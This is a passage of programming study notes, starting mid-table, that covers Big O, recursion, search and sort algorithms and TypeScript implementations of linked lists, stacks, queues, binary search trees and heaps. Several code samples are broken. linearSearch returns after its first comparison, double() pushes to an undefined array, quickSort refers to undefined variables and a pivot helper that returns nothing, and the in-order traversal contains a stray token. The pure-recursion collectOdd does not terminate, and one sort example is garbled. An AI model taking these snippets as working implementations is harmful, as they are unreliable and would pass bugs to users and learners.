-| <pre><code>123456789101112</code></pre> | <pre><code>\* dfs() { const stack = new Stack(); stack.add(this.root); while (!stack.isEmpty()) { const node = stack.remove(); yield node; node.descendents.reverse().forEach(child => stack.add(child)); }}</code></pre> |
-| --------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-
-If you need a refresher on DFS, we covered in details on [Graph post](https://chrome-extension/cjedbglnccaioiolemnfhjncicchinao/blog/2018/05/14/Data-Structures-for-Beginners-Graphs-Time-Complexity-tutorial/#Depth-first-search-DFS-Graph-search).
-
-**Breadth-First Search (BFS)**
-
-Similar to DFS, we can implement a BFS by switching the `Stack` by a `Queue`:
-
-BinarySearchTree.prototype.bfs[Full Code](https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/trees/binary-search-tree.js)
-
-| <pre><code>1234567891011</code></pre> | <pre><code>\* bfs() { const queue = new Queue(); queue.add(this.root); while (!queue.isEmpty()) { const node = queue.remove(); yield node; node.descendents.forEach(child => queue.add(child)); }}</code></pre> |
-| ------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-
-The BFS order is: `10, 5, 30, 4, 15, 40, 3`
-
-## Balanced vs. Non-balanced Trees
-
-So far, we have discussed how to `add`, `remove` and `find` elements. However, we haven't talked about runtimes. Let's think about the worst-case scenarios.
-
-Let's say that we want to add numbers in ascending order.
-
-![](https://chrome-extension/cjedbglnccaioiolemnfhjncicchinao/images/bst-asc.gif)
-
-We will end up with all the nodes on the left side! This unbalanced tree is no better than a LinkedList, so finding an element would take _O(n)_. 😱
-
-Looking for something in an unbalanced tree is like looking for a word in the dictionary page by page. When the tree is balanced, you can open the dictionary in the middle and from there you know if you have to go left or right depending on the alphabet and the word you are looking for.
-
-We need to find a way to balance the tree!
-
-If the tree was **balanced**, then we could find elements in _O(log n)_ instead of going through each node. Let's talk about what balanced tree means.
-
-![](https://chrome-extension/cjedbglnccaioiolemnfhjncicchinao/images/balanced-vs-non-balanced-tree.jpg)
-
-If we are searching for `7` in the non-balanced tree, we have to go from 1 to 7. However, in the balanced tree, we visit: `4`, `6`, and `7`. It gets even worse with larger trees. If you have one million nodes, searching for a non-existing element might require to visit all million while on a balanced tree it just requires 20 visits! That's a huge difference!
-
-We are going to solve this issue in the next post using self-balanced trees (AVL trees).
-
-## Big O Notation
-
-### time complexity
-
-it allow us to talk formally about how the runtime of an algorithm grows as the input grows.
-
-n = number of operation the computer has to do can be: f(n) = n f(n) = n^2 f(n) = 1
-
-f(n) = could be something entirely different !
-
-O(n):
-
----
-
-```js
-function addUpToSimple(n: number) {
-    let total = 0;
-    for (let i = 0; i < n; i++) {
-        total += i;
-    }
-    return total;
-}
-```
-
-O(1):
-
----
-
-```js
-function addUpComplex(n: number) {
-    return (n * (n + 1)) / 2;
-}
-```
-
-O(n): maybe thinking O(2n) but we see big picture! BigONotation doesn't care about precision only about general trends _linear? quadric? constant?_
-
----
-
-```js
-function printUpAndDown(n: number) {
-    console.log('Going up');
-    for (let i = 0; i < n; i++) {
-        console.log(i);
-    }
-    console.log('Going down');
-    for (let j = n - 1; j > 0; j--) {
-        console.log(j);
-    }
-}
-```
-
-O(n^2)
-
----
-
-```js
-function printAllPairs(n: number) {
-    for (let i = 0; i < n; i++) {
-        console.log(i);
-        for (let j = 0; j < n; j++) {
-            console.log(j);
-        }
-    }
-}
-```
-
-O(n) : cuz as soon as n grows complexity grows too
-
----
-
-```js
-function logAtLeastFive(n: number) {
-    for (let i = 0; i <= Math.max(5, n); i++) {
-        console.log(i);
-    }
-}
-```
-
-O(1)
-
----
-
-```js
-function logAtMostFive(n: number) {
-    for (let i = 0; i <= Math.min(5, n); i++) {
-        console.log(i);
-    }
-}
-```
-
-### space complexity
-
-Rules of Thumb
-
--   <==(_**most primitive booleans numbers undefined null are constant space**_)==>.
--   <==(_**strings and reference types like objects an arrays require O(n) space n is string length or number of keys**_)==>
-
-O(1)
-
----
-
-```js
-function sum(arr: number[]) {
-    let total = 0;
-    for (let i = 0; i < arr.length; i++) {
-        total += arr[i];
-    }
-}
-```
-
-O(n)
-
----
-
-```js
-function double(arr: number[]) {
-    const newArr = [];
-    for (let i = 0; i < arr.length; i++) {
-        array.push(arr[i] * 2);
-    }
-    return newArr;
-}
-```
-
-### quick note around object, array through BigO lens!
-
--   object:
-
-```js
-const person = { name: 'John', age: 22, hobbies: ['reading', 'sleeping'] };
-
-Object.keys(person); // ["name", "age", "hobbies"] --->              O(n)
-Object.values(person); // ["John", 22, Array(2)]--->                 O(n)
-Object.entries(person); // [Array(2), Array(2), Array(2)]--->        O(n)
-person.hasOwnProperty('name'); // true --->                          O(1)
-```
-
--   array: _**push() and pop()**_\*\* are always faster than **\_**unshift() and shift()**\_** because inserting or removing element from beginning of an array requires reIndexing all elements\*\*
-
-## Common Patterns
-
----
-
-```js
-function binarySearch(sortedArr: number[], value: number): number {
-    let min = 0;
-    let max = sortedArr.length - 1;
-
-    while (min <= max) {
-        let middle = Math.floor((min + max) / 2);
-        if (sortedArr[middle] < value) {
-            min = middle + 1;
-        } else if (sortedArr[middle] > value) {
-            max = middle - 1;
-        } else {
-            return middle;
-        }
-    }
-    return -1;
-}
-```
-
-## Recursion
-
-a process that calls itself
-
-quick note around callStack
-
----
-
-```js
-function wakeUp() {
-    // callStack [wakeUp]
-    takeShower();
-    eatBreakfast();
-    console.log('Ready to go ... ');
-} // callStack []
-
-function takeShower() {
-    // callStack [takeShower, wakeUp]
-    console.log('taking shower');
-} // callStack[wakeUp]
-
-function eatBreakfast() {
-    // callStack [eatBreakfast, wakeUp]
-    const meal = cookBreakFast();
-    console.log(`eating ${meal}`);
-} // callStack [wakeUp]
-
-function cookBreakFast() {
-    // callStack [cookBreakFast, eatBreakfast, wakeUp]
-    const meals = ['Cheese', 'Protein Shake', 'Coffee'];
-    return meals[Math.floor(Math.random() * meals.length)]; // callStack [eatBreakFast, wakeUp]
-}
-
-wakeUp();
-```
-
-two essential part of recursive functions
-
--   **base case : end of the line**
--   **different input : recursive should call by different piece of data**
-
----
-
-```js
-function sumRange(num: number) {
-    if (num === 1) return 1;
-    return num + sumRange(num - 1);
-}
-
-function factorial(num: number) {
-    if (num === 1) return 1;
-    return num * factorial(num - 1);
-}
-```
-
-helper method recursion vs pure recursion
-
-```js
-// helper method recursion approach
-function collectOdd(arr: number[]) {
-    const result = [];
-
-    function helper(helperArr: number[]) {
-        if (!helperArr.length) {
-            return;
-        }
-
-        if (helperArr[0] % 2 !== 0) {
-            result.push(helperArr[0]);
-        }
-
-        helper(helperArr.slice(1));
-    }
-
-    helper(arr);
-
-    return result;
-}
-
-// pure recursion approach
-function collectOdd(arr: number[]): number[] {
-    let result = [];
-
-    if (!arr.length) {
-        return result;
-    }
-
-    if (arr[0] % 2 !== 0) {
-        result.push(arr[0]);
-    }
-
-    result = collectOdd(result.concat(arr.slice(1)));
-    return result;
-}
-```
-
-## Searching Algorithms
-
-### linear search
-
-_indexOf() includes() find() findIndex()_ all this methods doing linear search behind the scene
-
-O(n)
-
----
-
-```js
-function linearSearch(arr: number[], value: number): number {
-    for (let i = 0; i < arr.length; i++) {
-        if (arr[i] === value) {
-            return i;
-        }
-        return -1;
-    }
-}
-```
-
-### binary search
-
-O(Log n)
-
----
-
-```js
-function binarySearch(sortedArr: number[], value: number): number {
-    let left = 0;
-    let right = sortedArr.length - 1;
-
-    while (left <= right) {
-        const middle = Math.round((right + left) / 2);
-
-        if (sortedArr[middle] > value) {
-            right = middle - 1;
-        } else if (sortedArr[middle] < value) {
-            left = middle + 1;
-        } else {
-            return middle;
-        }
-    }
-    return -1;
-}
-```
-
-## Sorting Algorithms
-
-### array.sort()
-
-array.sort(cb) will turn all values to _string_ then sort it based on it's _unicode_
-
-```js
-['a', 'c', 'b', 'f', 'd'].sort(); // (5) ["a", "b", "c", "d", "f"]
-[1, 10, 6, 8, 2, 3, 5].sort(); //(7) [1, 10, 2, 3, 5, 6, 8]
-
-/* 
-also receive callback function by two arguments:
-    a: previous number 
-    b: next number 
-
-*/
-// if callback return NEGATIVE number a will placed before b
-[1, 10, 6, 8, 2, 3, 5].sort((a, b) => a - b); // (7) [1, 2, 3, 5, 6, 8, 10]
-
-// if callback return POSITIVE number a will placed after b
-(7)[(1, 2, 3, 5, 6, 8, 10)].sort((a, b) => b - a); // (7) [10, 8, 6, 5, 3, 2, 1]
-
-// if callback return ZERO a and b will placed at the same position
-```
-
-## Quadric
-
-### bubble sort
-
-general: O(n^2) nearlySortedData: O(n)
-
----
-
-```js
-function bubbleSort(arr: number[]): number[] {
-    for (let i = 0; i < arr.length; i++) {
-        let noSwap = true;
-        for (let j = 0; j < arr.length - i; j++) {
-            if (arr[j] > arr[j + 1]) {
-                [arr[j], arr[j + 1]] = [arr[j + 1], arr[j]];
-                noSwap = false;
-            }
-        }
-        if (noSwap) break;
-    }
-    return arr;
-}
-
-// or
-
-function bubbleSort(arr: number[]): number[] {
-    for (let i = arr.length; i > 0; i--) {
-        let noSwap = true;
-        for (let j = 0; j < i - 1; j++) {
-            if (arr[j] > arr[j + 1]) {
-                [arr[j], arr[j + 1]] = [arr[j + 1], arr[j]];
-                noSwap = false;
-            }
-        }
-        if (noSwap) break;
-    }
-    return arr;
-}
-```
-
-### selection sort
-
-O(n^2)
-
----
-
-```js
-function selectionSort(arr: number[]) {
-    for (let i = 0; i < arr.length; i++) {
-        let min = i;
-        for (let j = i + 1; j < arr.length; j++) {
-            if (arr[j] < arr[min]) {
-                min = j;
-            }
-        }
-        if (min !== i) {
-            [arr[i], arr[min]] = [arr[min], arr[i]];
-        }
-    }
-    return arr;
-}
-```
-
-### insertion sort
-
-general: O(n^2) nearlySortedData: O(n)
-
----
-
-```js
-function insertionSort(arr) {
-    var currentVal;
-    for (let i = 1; i < arr.length; i++) {
-        currentVal = arr[i];
-        for (var j = i - 1; j >= 0 && arr[j] > currentVal; j--) {
-            arr[j + 1] = arr[j];
-        }
-        arr[j + 1] = currentVal;
-    }
-    return arr;
-}
-```
-
-### quadric sorting algorithms comparison
-
-|   Algorithm    | Time Complexity (Best) | Time Complexity (Average) | Time Complexity (worst) | Space Complexity |
-| :------------: | :--------------------: | :-----------------------: | :---------------------: | :--------------: |
-|  bubble sort   |          O(n)          |          O(n^2)           |         O(n^2)          |       O(1)       |
-| insertion sort |          O(n)          |          O(n^2)           |         O(n^2)          |       O(1)       |
-| selection sort |         O(n^2)         |          O(n^2)           |         O(n^2)          |       O(1)       |
-
-## Fancy
-
-### merge sort
-
-O(n Log n)
-
-```js
-// merge two sorted array
-function merge(arr1: number[], arr2: number[]): number[] {
-    let result = [];
-    let i = 0;
-    let j = 0;
-
-    while (i < arr1.length && j < arr2.length) {
-        if (arr1[i] < arr2[j]) {
-            result.push(arr1[i]);
-            i++;
-        } else {
-            result.push(arr2[j]);
-            j++;
-        }
-    }
-
-    while (i < arr1.length) {
-        result.push(arr1[i]);
-        i++;
-    }
-    while (j < arr2.length) {
-        result.push(arr2[j]);
-        j++;
-    }
-
-    return result;
-}
-
-function mergeSort(arr: number[]): number[] {
-    if (arr.length <= 1) return arr;
-
-    const middle = Math.floor(arr.length / 2);
-
-    const left = mergeSort(arr.slice(0, middle));
-    const right = mergeSort(arr.slice(middle));
-
-    return merge(left, right);
-}
-```
-
-### quick sort
-
-in following implementation we always assume _first item_ as pivot
-
-general: O(n Log n) sorted: O(n^2)
-
-```js
-// place pivot in the right index and return pivot index
-function pivot(arr: number[], start = 0, end = arr.length - 1) {
-    const pivot = arr[start];
-    let pivotIndex = start;
-
-    for (let i = start + 1; i < end; i++) {
-        if (arr[i] < pivot) {
-            pivotIndex++;
-            [arr[pivotIndex], arr[i]] = [arr[i], arr[pivotIndex]];
-        }
-    }
-    [arr[start], arr[pivotIndex]] = [arr[pivotIndex], arr[start]];
-}
-
-function quickSort(arr: number[], start = 0, end = arr.length - 1) {
-    if (left < right) {
-        const pivot = pivot(arr, start, end);
-
-        // left
-        quickSort(arr, start, pivotIndex - 1);
-        // right
-        quickSort(arr, pivotIndex + 1, end);
-    }
-
-    return arr;
-}
-```
-
-### radix sort
-
-O(nk) n: the number of items we sorting k: average length of those numbers
-
-```js
-// get the actual number at the given index
-function getDigit(num: number, i: number): number {
-    return Math.floor(Math.abs(num) / Math.pow(10, i)) % 10;
-}
-// get number length
-function digitCount(num: number): number {
-    if (num === 0) return 1;
-    return Math.floor(Math.log10(Math.abs(num))) + 1;
-}
-
-// return number by most length
-function mostDigits(arr: number[]): number {
-    let maxDigits = 0;
-    for (let i = 0; i < arr.length; i++) {
-        maxDigits = Math.max(maxDigits, digitCount(arr[i]));
-    }
-    return maxDigits;
-}
-function radixSort(arr: number[]): number[] {
-    let maxDigitCount = mostDigits(arr);
-    for (let k = 0; k < maxDigitCount; k++) {
-        let digitBuckets = Array.from({ length: 10 }, () => []);
-        for (let j = 0; j < arr.length; j++) {
-            digitBuckets[getDigit(arr[j], k)].push(arr[j]);
-        }
-
-        arr = [].concat(...digitBuckets);
-    }
-    return arr;
-}
-```
-
-### fancy sorting algorithms comparison
-
-| Algorithm  | Time Complexity (Best) | Time Complexity (Average) | Time Complexity (worst) | Space Complexity |
-| :--------: | :--------------------: | :-----------------------: | :---------------------: | :--------------: |
-| merge sort |       O(n Log n)       |        O(n Log n)         |       O(n Log n)        |       O(n)       |
-| quick sort |       O(n Log n)       |        O(n Log n)         |         O(n^2)          |     O(Log n)     |
-| radix sort |         O(nk)          |           O(nk)           |          O(nk)          |     O(n + k)     |
-
-## Data Structure
-
-### complexity comparison
-
-|   DataStructure    | Insertion |                         Removal                          |                 Searching                 | Access |
-| :----------------: | :-------: | :------------------------------------------------------: | :---------------------------------------: | :----: |
-| Singly Linked List |   O(1)    | bestCase(very beginning): O(1) worstCase(very end): O(n) |                   O(n)                    |  O(n)  |
-| Doubly Linked List |   O(1)    |                           O(1)                           | O(n) it is faster than Singly Linked List |  O(n)  |
-|       Stack        |   O(1)    |                           O(1)                           |                   O(n)                    |  O(n)  |
-|       Queue        |   O(1)    |                           O(1)                           |                   O(n)                    |  O(n)  |
-| Binary Search Tree | O( Log n) |                            -                             |                 O(Log n)                  |   -    |
-|    Binary Heap     | O( Log n) |                        O( Log n)                         |                  O( n )                   |   -    |
-|    Hash Tables     |  O( 1 )   |                          O( 1 )                          |                     -                     | O( 1 ) |
-
-## Singly Linked list
-
-```js
-class _Node {
-    constructor(public value: any) {}
-    public next: _Node | null = null;
-}
-
-class SinglyLinkedList {
-    private _length: number = 0;
-    private head: _Node | null = null;
-    private tail: _Node | null = null;
-
-    get length() {
-        return this._length;
-    }
-
-    get print(): null | _Node[] {
-        if (!this._length) return null;
-
-        const arr = [];
-        let currentNode = this.head;
-        while (currentNode) {
-            arr.push(currentNode.value);
-            currentNode = currentNode.next;
-        }
-        return arr;
-    }
-
-    public push(value: any): SinglyLinkedList {
-        const node = new _Node(value);
-
-        if (!this.head || !this.tail) {
-            this.head = node;
-            this.tail = this.head;
-        } else {
-            this.tail.next = node;
-            this.tail = node;
-        }
-        this._length += 1;
-
-        return this;
-    }
-
-    public pop(): _Node | null {
-        if (!this.head) return null;
-
-        let currentNode = this.head;
-
-        if (!currentNode.next) {
-            this.head = null;
-            this.tail = null;
-            this._length -= 1;
-            return currentNode;
-        }
-        while (currentNode.next && currentNode.next.next) {
-            currentNode = currentNode.next;
-        }
-        this.tail = currentNode;
-        this.tail.next = null;
-        this._length -= 1;
-        return currentNode.next as _Node;
-    }
-
-    public unShift(value: any): SinglyLinkedList {
-        const currentHead = this.head;
-
-        this.head = new _Node(value);
-
-        if (currentHead) {
-            this.head.next = currentHead;
-        } else {
-            this.tail = this.head;
-        }
-        this._length += 1;
-        return this;
-    }
-
-    public shift(): _Node | null {
-        if (!this.head) return null;
-
-        const currentHead = this.head;
-        this.head = currentHead.next;
-        this._length -= 1;
-
-        if (currentHead === this.tail) this.tail = null;
-
-        return currentHead;
-    }
-
-    public get(index: number): _Node | null {
-        if (index < 0 || index >= this._length) return null;
-
-        let currentNode = this.head;
-        for (let j = 0; j < index; j++) {
-            if (currentNode && currentNode.next) {
-                currentNode = currentNode.next;
-            }
-        }
-        return currentNode;
-    }
-
-    public set(index: number, value: any): _Node | null {
-        const node = this.get(index);
-        if (node) {
-            node.value = value;
-        }
-        return node;
-    }
-
-    public insert(index: number, value: any): SinglyLinkedList | null {
-        if (index < 0 || index >= this._length) {
-            return null;
-        } else if (index === 0) {
-            return this.unShift(value);
-        } else if (index === this._length) {
-            return this.push(value);
-        } else {
-            const prevNode = this.get(index - 1);
-
-            if (prevNode) {
-                const newNode = new _Node(value);
-                newNode.next = prevNode.next;
-                prevNode.next = newNode;
-                this._length += 1;
-
-                return this;
-            }
-            return prevNode;
-        }
-    }
-
-    public remove(index: number): _Node | null {
-        if (index === 0) {
-            return this.shift();
-        } else if (index === this._length - 1) {
-            return this.pop();
-        } else {
-            const prevNode = this.get(index - 1);
-            const currentNode = this.get(index);
-            if (prevNode && currentNode) {
-                prevNode.next = currentNode.next;
-                this._length -= 1;
-            }
-            return currentNode;
-        }
-    }
-
-    public reverse(): SinglyLinkedList | false {
-        if (this._length <= 1) return false;
-
-        let node = this.head;
-        this.head = this.tail;
-        this.tail = node;
-
-        let next: _Node | null;
-        let prev: _Node | null = null;
-        for (let i = 0; i < this._length; i++) {
-            if (node) {
-                next = node.next;
-                node.next = prev;
-                prev = node;
-                node = next;
-            }
-        }
-        return this;
-    }
-}
-```
-
-## Doubly Linked List
-
-```js
-class _Node {
-    public next: _Node | null = null;
-    public prev: _Node | null = null;
-
-    constructor(public value: any) {}
-}
-
-class DoublyLinkedList {
-    private head: _Node | null = null;
-    private tail: _Node | null = null;
-
-    private _length = 0;
-
-    get length() {
-        return this._length;
-    }
-
-    get print(): null | _Node[] {
-        if (!this._length) return null;
-
-        const arr = [];
-        let currentNode = this.head;
-        while (currentNode) {
-            arr.push(currentNode.value);
-            currentNode = currentNode.next;
-        }
-        return arr;
-    }
-
-    public push(value: any): DoublyLinkedList {
-        const node = new _Node(value);
-
-        if (!this.tail) {
-            this.head = node;
-        } else {
-            this.tail.next = node;
-            node.prev = this.tail;
-        }
-        this._length += 1;
-        this.tail = node;
-
-        return this;
-    }
-
-    public pop(): _Node | null {
-        if (!this.tail) {
-            return null;
-        }
-
-        const currentTail = this.tail;
-        if (currentTail.prev) {
-            this.tail = currentTail.prev;
-            this.tail.next = null;
-            currentTail.prev = null;
-        } else {
-            this.head = null;
-            this.tail = null;
-        }
-
-        this._length -= 1;
-        return currentTail;
-    }
-
-    public shift(): null | _Node {
-        if (!this.head) {
-            return null;
-        }
-
-        const currentHead = this.head;
-        if (currentHead.next) {
-            this.head = currentHead.next;
-            this.head.prev = null;
-            currentHead.next = null;
-        } else {
-            return this.pop();
-        }
-
-        this._length -= 1;
-        return currentHead;
-    }
-
-    public unshift(value: any): DoublyLinkedList {
-        if (!this.head) {
-            return this.push(value);
-        }
-
-        const node = new _Node(value);
-        const currentHead = this.head;
-
-        this.head = node;
-        this.head.next = currentHead;
-        currentHead.prev = this.head;
-
-        this._length += 1;
-        return this;
-    }
-
-    public get(index: number): null | _Node {
-        if (index < 0 || index >= this._length) return null;
-
-        let currentNode: _Node | null = null;
-
-        if (index < Math.floor(this._length / 2)) {
-            // iterate from head to tail
-
-            currentNode = this.head;
-            for (let i = 0; i < index; i++) {
-                if (currentNode && currentNode.next) {
-                    currentNode = currentNode.next;
-                }
-            }
-        } else {
-            // iterate from tail to head
-
-            currentNode = this.tail;
-            for (let i = this._length - 1; i > index; i--) {
-                if (currentNode && currentNode.prev) {
-                    currentNode = currentNode.prev;
-                }
-                return currentNode;
-            }
-        }
-
-        return currentNode;
-    }
-
-    public set(index: number, value: any): _Node | null {
-        const node = this.get(index);
-        if (node) {
-            node.value = value;
-        }
-        return node;
-    }
-
-    public insert(index: number, value: any): DoublyLinkedList | null {
-        if (index < 0 || index > this._length) {
-            return null;
-        } else if (index === 0) {
-            return this.unshift(value);
-        } else if (index === this._length) {
-            return this.push(value);
-        } else {
-            const prevNode = this.get(index - 1);
-            const nextNode = this.get(index);
-
-            if (prevNode && nextNode) {
-                const newNode = new _Node(value);
-
-                prevNode.next = newNode;
-                (newNode.prev = prevNode), (newNode.next = nextNode);
-                nextNode.prev = newNode;
-            }
-        }
-        this._length += 1;
-        return this;
-    }
-
-    public remove(index: number): DoublyLinkedList | null {
-        if (index < 0 || index > this._length) {
-            return null;
-        } else if (index === 0) {
-            this.shift();
-        } else if (index === this._length - 1) {
-            this.pop();
-        } else {
-            const node = this.get(index);
-
-            if (node && node.prev && node.next) {
-                (node.prev.next = node.next), (node.next.prev = node.prev);
-                (node.next = null), (node.prev = null);
-            }
-            this._length -= 1;
-        }
-        return this;
-    }
-}
-```
-
-## Stacks
-
-LIFO last in first out
-
-```js
-// implement stack using array
-const stack = [1, 2, 3];
-stack.push(4); // [1,2,3,4]
-stack.pop(); // [1,2,3]
-// stacks just have push and pop
-stack.unshift(0); // [0,1,2,3]
-stack.shift(); // [1,2,3]
-```
-
-```js
-// implementing stack using singly linked list
-class _Node {
-    public next: _Node | null = null;
-
-    constructor(public value: any) {}
-}
-
-class Stack {
-    private first: _Node | null = null;
-    private last: _Node | null = null;
-
-    private _length = 0;
-    get length(): number {
-        return this._length;
-    }
-
-    push(value: any): Stack {
-        const node = new _Node(value);
-        const currentFirst = this.first;
-
-        (this.first = node), (this.first.next = currentFirst);
-
-        if (!currentFirst) {
-            this.last = node;
-        }
-
-        this._length += 1;
-        return this;
-    }
-
-    pop(): _Node | null {
-        const currentFirst = this.first;
-        if (currentFirst) {
-            if (this.first === this.last) this.last = currentFirst.next;
-            this.first = currentFirst.next;
-            this._length -= 1;
-        }
-        return currentFirst;
-    }
-}
-```
-
-## Queue
-
-FIFO first in first out
-
-```js
-// implementing queue using array
-const q = [];
-q.push(1);
-q.push(2);
-q.shift(1); // out first items first
-// or
-q.shift(1);
-q.shift(2);
-q.pop(); // out first items first
-```
-
-```js
-// implementing queue using singly linked list
-class _Node {
-    public next: _Node | null = null;
-
-    constructor(public value: any) {}
-}
-
-class Queue {
-    private first: _Node | null = null;
-    private last: _Node | null = null;
-
-    private _length = 0;
-    get length(): number {
-        return this._length;
-    }
-
-    enqueue(value: any): Queue {
-        const node = new _Node(value);
-        if (!this.last) {
-            (this.first = node), (this.last = node);
-        } else {
-            this.last.next = node;
-            this.last = node;
-        }
-
-        this._length += 1;
-        return this;
-    }
-
-    dequeue(): _Node | null {
-        const currentFirst = this.first;
-        if (currentFirst) {
-            if (this.first === this.last) this.last = null;
-            this.first = currentFirst.next;
-            this._length -= 1;
-        }
-
-        return currentFirst;
-    }
-}
-```
-
-## Tree
-
-### terminology
-
--   root : top node of tree
--   child : a node directly connected to another node when moving away from root
--   parent : the converse notion of a child
--   sibling : a group of nodes with the same parent
--   leaf : a child with no children
--   edge : connection from two node
-
-### binary search tree
-
--   every parent node has at most **two** children
--   every node to the **left** of parent node is always **less** than the **parent**
--   every node to the **right** of parent node is always **greater** than the **parent**
-
-```js
-class _Node {
-    constructor(public value: number) {}
-
-    public left: _Node | null = null;
-    public right: _Node | null = null;
-}
-class BinarySearchTree {
-    public root: _Node | null = null;
-
-    public insert(value: number): BinarySearchTree | null {
-        const node = new _Node(value);
-        if (!this.root) {
-            this.root = node;
-        } else {
-            let currentNode: _Node = this.root;
-            do {
-                if (value === currentNode.value) return null;
-
-                if (value < currentNode.value) {
-                    if (currentNode.left) {
-                        currentNode = currentNode.left;
-                    } else {
-                        currentNode.left = node;
-                        break;
-                    }
-                } else {
-                    if (currentNode.right) {
-                        currentNode = currentNode.right;
-                    } else {
-                        currentNode.right = node;
-                        break;
-                    }
-                }
-            } while (currentNode);
-        }
-        return this;
-    }
-
-    public have(value: number): boolean {
-        let currentNode = this.root;
-        while (currentNode) {
-            if (value === currentNode.value) {
-                return true;
-            } else {
-                if (value < currentNode.value) {
-                    if (currentNode.left) {
-                        currentNode = currentNode.left;
-                        continue;
-                    }
-                    break;
-                } else {
-                    if (currentNode.right) {
-                        currentNode = currentNode.right;
-                        continue;
-                    }
-                    break;
-                }
-            }
-        }
-        return false;
-    }
-}
-```
-
-### tree traversal
-
-there is two main strategies to traversal a tree : **Breadth-first-search** and **Depth-first-search**
-
-```js
-class _Node {
-    constructor(public value: number) {}
-
-    public left: _Node | null = null;
-    public right: _Node | null = null;
-}
-class BinarySearchTree {
-    public root: _Node | null = null;
-
-    public insert(value: number): BinarySearchTree | null {
-        const node = new _Node(value);
-        if (!this.root) {
-            this.root = node;
-        } else {
-            let currentNode: _Node = this.root;
-            do {
-                if (value === currentNode.value) return null;
-
-                if (value < currentNode.value) {
-                    if (currentNode.left) {
-                        currentNode = currentNode.left;
-                    } else {
-                        currentNode.left = node;
-                        break;
-                    }
-                } else {
-                    if (currentNode.right) {
-                        currentNode = currentNode.right;
-                    } else {
-                        currentNode.right = node;
-                        break;
-                    }
-                }
-            } while (currentNode);
-        }
-        return this;
-    }
-
-    public have(value: number): boolean {
-        let currentNode = this.root;
-        while (currentNode) {
-            if (value === currentNode.value) {
-                return true;
-            } else {
-                if (value < currentNode.value) {
-                    if (currentNode.left) {
-                        currentNode = currentNode.left;
-                    }
-                    break;
-                } else {
-                    if (currentNode.right) {
-                        currentNode = currentNode.right;
-                        continue;
-                    }
-                    break;
-                }
-            }
-        }
-        return false;
-    }
-    /*
-    breadth first search (bfs) : traverse tree horizontally
-*/
-    public bfs(): _Node[] {
-        const visited: _Node[] = [];
-        if (this.root) {
-            const q: _Node[] = [this.root];
-            while (q.length) {
-                if (q[0].left) q.push(q[0].left);
-                if (q[0].right) q.push(q[0].right);
-
-                visited.push(q[0]), q.shift();
-            }
-        }
-        return visited;
-    }
-    /*
-    depth first search (dfs) : traverse tree vertically
-    following contains three dfs searching methods:
-    1. preOrder : add node => going to left and add left => going to right and add right
-    2. postOrder : going to left and add left => going to right and add right => going to node and add node
-    3. inOrder : going to the left and add left => add node => going to the right and add right
-     */
-    public dfsPreOrder(): _Node[] {
-        const visited: _Node[] = [];
-        if (this.root) {
-            (function traverse(node: _Node): void {
-                visited.push(node);
-
-                if (node.left) {
-                    traverse(node.left);
-                }
-                if (node.right) {
-                    traverse(node.right);
-                }
-            })(this.root);
-        }
-
-        return visited;
-    }
-
-    public dfsPostOrder(): _Node[] {
-        const visited: _Node[] = [];
-
-        if (this.root) {
-            (function traverse(node: _Node): void {
-                if (node.left) {
-                    traverse(node.left);
-                }
-                if (node.right) {
-                    traverse(node.right);
-                }
-
-                visited.push(node);
-            })(this.root);
-        }
-        return visited;
-    }
-
-    dfsInOrder(): _Node[] {
-        const visited: _Node[] = [];
-
-        if (this.root) {
-            (function traverse(node: _Node) {
-                if (node.left) {
-                    traverse(node.left);
-                }
-
-                visited.push(node);
-                f;
-
-                if (node.right) {
-                    traverse(node.right);
-                }
-            })(this.root);
-        }
-
-        return visited;
-    }
-}
-```
-
-### traversal comparison
-
-**depth-first** _vs_ **breadth-first** : they both **timeComplexity is same** but **spaceComplexity is different** if we got **a wide tree** like this:
-
-**breadth-first take up more space.** cuz we adding more element to queue.
-
-if we got **a depth long tree** like this:
-
-**depth-first take up more space.**
-
----
-
-**potentially use cases for dfs variants (**_**preOder postOrder inOrder**_**)** preOrder is useful when we want a clone of tree. inOrder is useful when we want data in order that it's stored in tree.
-
-## Binary heaps
-
-### terminology
-
--   a binary heap is as compact as possible (all the children of each node are as full as they can be and left children and filled out first)
--   each parent has at most two children
-
-**Max Binary Heap**:
-
--   **parent** nodes are always greater than **child** nodes but there is no guarantees between sibling
-
-**Min Binary Heap**:
-
--   **child** nodes are always greater than **parent** nodes but there is no guarantees between sibling
-
-### binary heap parent and child relations
-
-```js
-class MaxBinaryHeap {
-    private _values: number[] = [];
-    get values(): number[] {
-        return this._values;
-    }
-
-    private sinkingUp(value: number): void {
-        let valueIndex = this._values.length - 1;
-        while (valueIndex > 0) {
-            const parentIndex = Math.floor((valueIndex - 1) / 2);
-            const parent = this._values[parentIndex];
-
-            if (value <= parent) break;
-
-            this._values[parentIndex] = value;
-            this._values[valueIndex] = parent;
-
-            valueIndex = parentIndex;
-        }
-    }
-    private sinkingDown(): void {
-        let targetIndex = 0;
-        while (true) {
-            let leftChildIndex = targetIndex * 2 + 1,
-                rightChildIndex = targetIndex * 2 + 2;
-
-            let target = this._values[targetIndex],
-                leftChild = this._values[leftChildIndex],
-                rightChild = this._values[rightChildIndex];
-
-            if (target < leftChild && target < rightChild) {
-                if (rightChild > leftChild) {
-                    [
-                        this._values[targetIndex],
-                        this._values[rightChildIndex]
-                    ] = [
-                        this._values[rightChildIndex],
-                        this._values[targetIndex]
-                    ];
-
-                    targetIndex = rightChildIndex;
-                } else {
-                    [
-                        this._values[targetIndex],
-                        this._values[leftChildIndex]
-                    ] = [
-                        this._values[leftChildIndex],
-                        this._values[targetIndex]
-                    ];
-
-                    targetIndex = leftChildIndex;
-                }
-
-                continue;
-            } else if (rightChild >= target) {
-                [this._values[targetIndex], this._values[rightChildIndex]] = [
-                    this._values[rightChildIndex],
-                    this._values[targetIndex]
-                ];
-
-                targetIndex = leftChildIndex;
-
-                continue;
-            } else if (leftChild >= target) {
-                [this._values[targetIndex], this._values[leftChildIndex]] = [
-                    this._values[leftChildIndex],
-                    this._values[targetIndex]
-                ];
-
-                targetIndex = leftChildIndex;
-
-                continue;
-            }
-
-            break;
-        }
-    }
-
-    public insert(value: number): number[] {
-        this._values.push(value);
-        this.sinkingUp(value);
-        return this._values;
-    }
-
-    public extractMax(): number | null {
-        if (!this._values.length) {
-            return null;
-        }
-        const root = this._values[0];
-        this._values[0] = this._values[this._values.length - 1];
